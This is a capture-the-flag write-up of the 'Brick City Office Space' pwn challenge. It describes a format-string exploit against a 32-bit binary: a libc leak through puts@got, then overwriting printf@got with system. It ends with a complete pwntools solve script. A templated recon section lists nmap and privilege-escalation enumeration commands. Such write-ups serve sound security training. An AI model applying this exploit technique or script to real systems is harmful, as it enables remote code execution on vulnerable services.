← Back to Writeups
HTBN/APwn

Brick City Office Space

XESXOR8/23/20265 min read
#pwn#htb#n/a

Brick City Office Space

Platform: Umasscybersec | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-11 | Status: Solved Techniques: fmtstr_got_overwrite, format_string_offset_discovery, libc_leak_via_got, printf_to_system_hijack

Summary

Task: a 32-bit service printed user input directly with printf and exposed two format-string sinks in a loop. Solution: leak puts from the GOT to recover libc, overwrite printf@got with system, then trigger the second sink with cat flag.txt.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: umasscybersec | ID: 20260411_umasscybersec_brick_city_office_space
  • Tags: format_string, got_overwrite, libc_leak, no_pie, printf, i386, no_relro
  • Indicators: printf(user_input) is reachable with attacker-controlled data, No RELRO leaves GOT entries writable, No PIE gives stable code and GOT addresses, A stack probe shows attacker bytes at format offset 4, The program loops, allowing leak first and overwrite second
  • Source: 20260411_umasscybersec_brick_city_office_space.md

Foothold

Vulnerability / Misconfiguration

  1. Fmtstr_got_overwrite
  2. Format_string_offset_discovery
  3. Libc_leak_via_got
  4. Printf_to_system_hijack
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • fmtstr_got_overwrite
  • format_string_offset_discovery
  • libc_leak_via_got
  • printf_to_system_hijack
  • Tags: format_string, got_overwrite, libc_leak, no_pie, printf, i386, no_relro

Original Writeup

<details><summary>Click to expand original content</summary>

Description

"We're using a new %format for the TPS reports. Did you get my memo?"

English summary: the service asks for an office design string and later asks whether you want to redesign. User-controlled data is printed with printf without a format string, giving a format string vulnerability that can be used to leak libc and overwrite the GOT.

Service:

nc brick-city-office-space.pwn.ctf.umasscybersec.org 45001

Analysis

The binary is a 32-bit ELF (i386), dynamically linked, and not stripped.

checksec showed:

RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE

These properties are ideal for a classic GOT overwrite:

  • No RELRO means GOT entries stay writable.
  • No PIE means code and GOT addresses are fixed.
  • NX enabled pushes the exploit toward code-reuse / libc reuse instead of shellcode.

Important addresses from the binary:

vuln       = 0x80491d6
main       = 0x80493db
puts@got   = 0x804bbbc
printf@got = 0x804bbb0

Important offsets from the provided libc.so.6:

puts   = 0x732a0
system = 0x48170

The stack offset for our format string was 4. A probe such as AAAA.%1$p.%2$p.%3$p.%4$p revealed 0x41414141 at %4$p, so attacker-controlled bytes placed at the start of the input are read as the 4th format argument.

Vulnerability

The real bug is a format string vulnerability: user input is passed directly to printf.

There are two useful printf(user_input) paths inside vuln():

  1. The program prints the submitted office design.
  2. If the redesign answer is not y or n, it enters a This is what you said: branch and prints that invalid response with printf(buffer).

That gives two separate stages in one execution:

  • first use the office design prompt to leak libc
  • then loop once and use the second prompt to trigger a hijacked printf

Because printf@got is writable and the program later calls printf on attacker-controlled input again, replacing printf@got with system turns a later printf(buffer) into system(buffer).

Exploitation

1. Leak puts from the GOT

On the first prompt, send:

p32(puts_got) + b'.%4$s.END'

Why it works:

  • the first four bytes are the address of puts@got
  • %4$s dereferences the 4th stack argument as a pointer to a string
  • since offset 4 is correct, printf reads bytes from puts@got
  • the leaked bytes give the runtime address of puts in libc

Then compute:

libc_base = puts_addr - libc.symbols["puts"]
system_addr = libc_base + libc.symbols["system"]

2. Loop back into the vulnerable prompt

Reply with y so the program asks for another office design. This gives a second chance to exploit the same format string primitive after the libc base is known.

3. Overwrite printf@got with system

Use pwntools to build the write:

fmtstr_payload(4, {printf_got: system_addr}, write_size="short")

write_size="short" is convenient on 32-bit targets because it writes the 4-byte address as two 2-byte chunks.

4. Trigger system("cat flag.txt")

When the binary asks:

Would you like to redesign? (y/n)

send:

cat flag.txt

This is intentionally invalid input, so the program enters the This is what you said: branch and calls printf(buffer). After the GOT overwrite, that call becomes:

system("cat flag.txt")

which prints the flag.

Full Solve Script

#!/usr/bin/env python3
from pwn import *

HOST = "brick-city-office-space.pwn.ctf.umasscybersec.org"
PORT = 45001

elf = ELF("./BrickCityOfficeSpace")
libc = ELF("./libc.so.6")


def main():
    io = remote(HOST, PORT)
    io.recvuntil(b"BrickCityOfficeSpace> ")

    leak_payload = p32(elf.got["puts"]) + b".%4$s.END"
    io.sendline(leak_payload)
    out = io.recvuntil(b"Would you like to redesign? (y/n)\n")

    marker = p32(elf.got["puts"]) + b"."
    start = out.index(marker) + len(marker)
    end = out.index(b".END", start)
    puts_addr = u32(out[start:end][:4])

    libc.address = puts_addr - libc.symbols["puts"]
    system_addr = libc.symbols["system"]

    io.sendline(b"y")
    io.recvuntil(b"BrickCityOfficeSpace> ")

    overwrite = fmtstr_payload(4, {elf.got["printf"]: system_addr}, write_size="short")
    io.sendline(overwrite)
    io.recvuntil(b"Would you like to redesign? (y/n)\n")

    io.sendline(b"cat flag.txt")
    print(io.recvall(timeout=2).decode("latin-1", errors="replace"))


if __name__ == "__main__":
    main()
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR